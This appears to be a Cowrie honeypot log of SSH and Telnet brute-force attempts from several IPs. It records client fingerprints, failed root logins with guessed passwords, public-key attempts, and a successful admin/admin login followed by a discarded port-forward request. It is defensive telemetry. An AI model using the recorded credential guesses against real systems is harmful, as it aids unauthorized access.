{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:57.707176Z","src_ip":"87.251.64.176","session":"37fc8260ba73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:58.000288Z","src_ip":"87.251.64.176","session":"37fc8260ba73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:58.099426Z","session":"37fc8260ba73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:58.201325Z","src_ip":"87.251.64.176","session":"37fc8260ba73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:58.301133Z","src_ip":"87.251.64.176","session":"37fc8260ba73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56638,"dst_ip":"159.203.135.109","dst_port":22,"session":"16c3f27813c2","protocol":"ssh","message":"New connection: 103.172.78.219:56638 (159.203.135.109:22) [session: 16c3f27813c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:04.046416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:04.051573Z","src_ip":"103.172.78.219","session":"16c3f27813c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:04.308634Z","src_ip":"103.172.78.219","session":"16c3f27813c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nataha","message":"login attempt [root/nataha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:05.088611Z","src_ip":"103.172.78.219","session":"16c3f27813c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:06.349514Z","src_ip":"103.172.78.219","session":"16c3f27813c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.52825403213501,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:20.753438Z","src_ip":"152.42.224.71","session":"022fbb09f83c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.84","src_port":35706,"dst_ip":"159.203.135.109","dst_port":22,"session":"b095304d24d2","protocol":"ssh","message":"New connection: 103.146.202.84:35706 (159.203.135.109:22) [session: b095304d24d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:25.911373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:25.917583Z","src_ip":"103.146.202.84","session":"b095304d24d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:26.171941Z","src_ip":"103.146.202.84","session":"b095304d24d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":" ","message":"login attempt [root/ ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:26.934493Z","src_ip":"103.146.202.84","session":"b095304d24d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:34:28.191352Z","src_ip":"103.146.202.84","session":"b095304d24d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00862121582031,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:05.059410Z","src_ip":"152.42.224.71","session":"63f76b63a3ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48180,"dst_ip":"10.17.0.5","dst_port":23,"session":"63580b9eceee","protocol":"telnet","message":"New connection: 152.42.224.71:48180 (10.17.0.5:23) [session: 63580b9eceee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:12.677753Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":34202,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cad71cfaa2b","protocol":"ssh","message":"New connection: 103.173.227.57:34202 (10.17.0.5:22) [session: 2cad71cfaa2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:17.440548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:17.445494Z","src_ip":"103.173.227.57","session":"2cad71cfaa2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:17.691951Z","src_ip":"103.173.227.57","session":"2cad71cfaa2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface123","message":"login attempt [root/warface123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:18.425742Z","src_ip":"103.173.227.57","session":"2cad71cfaa2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:19.673445Z","src_ip":"103.173.227.57","session":"2cad71cfaa2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58594,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b03f26384e","protocol":"telnet","message":"New connection: 152.42.224.71:58594 (10.17.0.5:23) [session: 64b03f26384e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:35:33.698187Z"}
{"eventid":"cowrie.session.closed","duration":34.61627221107483,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:08.314355Z","src_ip":"152.42.224.71","session":"64b03f26384e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.107.230","src_port":60422,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bf19508525c","protocol":"ssh","message":"New connection: 184.154.107.230:60422 (10.17.0.5:22) [session: 7bf19508525c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.013596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.018617Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.046095Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:44:1e:20:0b:99:cf:cf:10:14:42:1b:3a:fa:da:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZyZJlZsVvZZud9kpR9ixPWJZjAJJbrs8V3NDezYWUXdBcGgX6YV42nusjk5F60aw4EpOCUXTpBMU4NyGnpaxB1+xszpeTu2QtIssDoaqi+2nZA1IXaxru4DavjnrMv6ODiEwXszUilMXhfghgpDtxVYfHVpMg3zY1KZjOGFkVpk/6t7kp1r0rJ3VZBPuUVZleJJ2FhMpHtVgFDv2FwSDFAJ63Jfz6ojucYa+QZWetsqlj62aMkXm5bQBpYnu2biNjoTvoesjlieVezCGSamgXK/oN8nWTCw9W6n2+s0yE6Cz8aDXvlQO43E7Qz997vs0dTvmCV4EGOMSrpb81fh79","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:44:1e:20:0b:99:cf:cf:10:14:42:1b:3a:fa:da:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.160715Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:44:1e:20:0b:99:cf:cf:10:14:42:1b:3a:fa:da:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZyZJlZsVvZZud9kpR9ixPWJZjAJJbrs8V3NDezYWUXdBcGgX6YV42nusjk5F60aw4EpOCUXTpBMU4NyGnpaxB1+xszpeTu2QtIssDoaqi+2nZA1IXaxru4DavjnrMv6ODiEwXszUilMXhfghgpDtxVYfHVpMg3zY1KZjOGFkVpk/6t7kp1r0rJ3VZBPuUVZleJJ2FhMpHtVgFDv2FwSDFAJ63Jfz6ojucYa+QZWetsqlj62aMkXm5bQBpYnu2biNjoTvoesjlieVezCGSamgXK/oN8nWTCw9W6n2+s0yE6Cz8aDXvlQO43E7Qz997vs0dTvmCV4EGOMSrpb81fh79","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.165144Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:74:c2:9a:38:42:f7:72:95:77:e1:29:e3:4a:e7:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzbpFZy/EvXTeBxJ9sN65cMfIjuM0bp3riR91hRdPq59aBC23zoMBWXlpbgeOSlewjaK/RomB7KhfYZCUSREjflZzYsqUamr586K95MF+H7Ov2wsPVvl+FXt0tFOqqCxDxVPMSDERshAxoYFGUZxtN6R+4HazsX8cniVJfaZSm3bRqB/SGiExam99u8BpMdf3EV3IS3tVOAwvFHVJZ/8BXdGeMCw0JAN1MVSrP7O519yryv8FYlGvsfx+7oYVtPWw+shauBjk0xXMHi2KqXm/59xKrYn7kGpO8kogJfUk1a/MLHddFRozX/CLYW4AJcLduKcaD8SX0YWyZBLm8Jszj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:74:c2:9a:38:42:f7:72:95:77:e1:29:e3:4a:e7:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.196814Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:74:c2:9a:38:42:f7:72:95:77:e1:29:e3:4a:e7:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzbpFZy/EvXTeBxJ9sN65cMfIjuM0bp3riR91hRdPq59aBC23zoMBWXlpbgeOSlewjaK/RomB7KhfYZCUSREjflZzYsqUamr586K95MF+H7Ov2wsPVvl+FXt0tFOqqCxDxVPMSDERshAxoYFGUZxtN6R+4HazsX8cniVJfaZSm3bRqB/SGiExam99u8BpMdf3EV3IS3tVOAwvFHVJZ/8BXdGeMCw0JAN1MVSrP7O519yryv8FYlGvsfx+7oYVtPWw+shauBjk0xXMHi2KqXm/59xKrYn7kGpO8kogJfUk1a/MLHddFRozX/CLYW4AJcLduKcaD8SX0YWyZBLm8Jszj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.200977Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:38:c5:df:98:92:cb:06:f3:9c:6c:13:17:86:97:0a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJFkojvsEtM8FGRUKO959IzAbWqmJ5NtFTst2WDC8XvcpQ5A/XsVcLwc4Ck0IMtRCUiGYP3PqQuiEDIMTvZjOt8utL9zcSQIfINtmZ4xg5XYdKTZVMIkPHCWjknOC8m8mGcrb7KMET6rig6n/eOkxIYI+lckW+J9X+mlUoehaj4XAAAAFQDnAx1mcACJLAyXLkn944dROJlmAQAAAIASViV63brfDgYT5dcOXdXvd/ht4msF5D70vOJhQGCqTKSt3EAnZe6QrkYtaqJSzaa0PnF2GiMocGskunuXPsqA1N16VG8GXBFXARrWzMI34dfAu6wAkUJrgmoiJ1Uvlcuu3rnYDG/8kNo9Rtahve138q4Enj9kz/J4wJGQzSkilgAAAIEAjCLsGmkjE7R/pmZHCP0pKAVQldah1rVpQf3KkyP1mxV1hmTNlqFDKNOuVvAVAkiRi8wpscfcaGGaXVf4mlUHEvMWcOhCDts/GJyku+/TWOcfpReMGebja5Q1Wmp0mnCKmWFNl94VOV8UEQoH7nK2ckpTUYatWdt9hHlJwPgMXos=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c2:38:c5:df:98:92:cb:06:f3:9c:6c:13:17:86:97:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.236867Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:38:c5:df:98:92:cb:06:f3:9c:6c:13:17:86:97:0a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJFkojvsEtM8FGRUKO959IzAbWqmJ5NtFTst2WDC8XvcpQ5A/XsVcLwc4Ck0IMtRCUiGYP3PqQuiEDIMTvZjOt8utL9zcSQIfINtmZ4xg5XYdKTZVMIkPHCWjknOC8m8mGcrb7KMET6rig6n/eOkxIYI+lckW+J9X+mlUoehaj4XAAAAFQDnAx1mcACJLAyXLkn944dROJlmAQAAAIASViV63brfDgYT5dcOXdXvd/ht4msF5D70vOJhQGCqTKSt3EAnZe6QrkYtaqJSzaa0PnF2GiMocGskunuXPsqA1N16VG8GXBFXARrWzMI34dfAu6wAkUJrgmoiJ1Uvlcuu3rnYDG/8kNo9Rtahve138q4Enj9kz/J4wJGQzSkilgAAAIEAjCLsGmkjE7R/pmZHCP0pKAVQldah1rVpQf3KkyP1mxV1hmTNlqFDKNOuVvAVAkiRi8wpscfcaGGaXVf4mlUHEvMWcOhCDts/GJyku+/TWOcfpReMGebja5Q1Wmp0mnCKmWFNl94VOV8UEQoH7nK2ckpTUYatWdt9hHlJwPgMXos=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.241612Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:22:1b:fe:a8:f4:a7:23:e6:33:76:95:82:91:98:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2q/NGN/brzNfJiIp2zswtL33tr74pIAjMeWtXN1p5Hqp5fTp058U1EN4NmgmjX0KzNjjV+ZTCUxJSCa26E7wrI99Dcd3fjbPcSL+nWPv4ysYSWIur9V0j1AlleeTVH2jJPAUaRxY0ZKcChsg0MMmLStRgA8oafWEvYzBkrl/K9tR3mb7ranu6Nsh1cBQ127sykePMQrZeOU0Zhqd0Kruyt9vjVD6DeehZpZLS7P3QzdWNJ9cm4TYKT2eyj6TZoFhQjaqLj0sjIbr0Kml9+SyDRjCqpjCSVCM9cvSLsNui+58Bcsus46pffDskhY7Sl/ctwBK4bDkkUy4P2AmEfIUz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:22:1b:fe:a8:f4:a7:23:e6:33:76:95:82:91:98:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.270489Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
